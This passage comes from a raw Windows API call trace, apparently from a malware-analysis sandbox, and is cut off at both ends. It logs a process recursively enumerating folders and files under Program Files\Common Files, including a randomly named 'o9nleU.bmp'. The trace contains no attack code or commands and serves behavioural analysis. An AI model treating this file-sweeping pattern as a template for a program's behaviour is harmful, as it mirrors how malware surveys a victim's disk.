ftLastAccessTime.dwLowDateTime=0x6c4962d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6c4962d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0055.116] GetLastError () returned 0x12 [0055.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54bce1f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6c4962d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6c4962d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.117] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54bce1f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6c4962d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6c4962d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.117] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d6e600, ftCreationTime.dwHighDateTime=0x1cbd07f, ftLastAccessTime.dwLowDateTime=0x6c5549b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x39d6e600, ftLastWriteTime.dwHighDateTime=0x1cbd07f, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0055.117] GetLastError () returned 0x12 [0055.117] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.117] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.117] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0055.118] GetLastError () returned 0x12 [0055.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.118] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.118] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0055.118] GetLastError () returned 0x12 [0055.118] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.118] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.118] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0055.118] GetLastError () returned 0x12 [0055.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.119] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.119] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0055.119] GetLastError () returned 0x12 [0055.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.121] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.121] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8b00760, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8b00760, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.121] GetLastError () returned 0x12 [0055.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8b00760, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8b00760, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.121] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8b00760, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8b00760, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.121] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a9ef00, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8b00760, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x86a9ef00, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x2b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0055.122] GetLastError () returned 0x12 [0055.122] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.122] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0055.122] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a9ef00, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x86a9ef00, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x182e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0055.122] GetLastError () returned 0x12 [0055.122] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.122] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.123] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a9ef00, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x86a9ef00, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x28ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0055.123] GetLastError () returned 0x12 [0055.123] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.123] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.123] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 0 [0055.123] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0055.123] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0055.124] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4b74640, ftCreationTime.dwHighDateTime=0x1d8bece, ftLastAccessTime.dwLowDateTime=0xf83c89d0, ftLastAccessTime.dwHighDateTime=0x1d8c085, ftLastWriteTime.dwLowDateTime=0xf83c89d0, ftLastWriteTime.dwHighDateTime=0x1d8c085, nFileSizeHigh=0x0, nFileSizeLow=0xd13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="o9nleU.bmp", cAlternateFileName="")) returned 1 [0055.124] GetLastError () returned 0x12 [0055.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*" (normalized: "c:\\program files\\common files\\services\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0055.124] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.124] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0055.124] GetLastError () returned 0x12 [0055.125] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0055.125] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0055.126] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0055.126] GetLastError () returned 0x12 [0055.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*" (normalized: "c:\\program files\\common files\\speechengines\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0055.127] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.127] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0055.127] GetLastError () returned 0x12 [0055.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.129] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.129] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0055.129] GetLastError () returned 0x12 [0055.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.130] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.130] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.130] GetLastError () returned 0x12 [0055.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.130] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.131] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0055.131] GetLastError () returned 0x12 [0055.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\*"), lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.131] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.131] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6e7c0 | out: lpFindFileData=0x2e6e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.131] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.131] HeapFree (in: 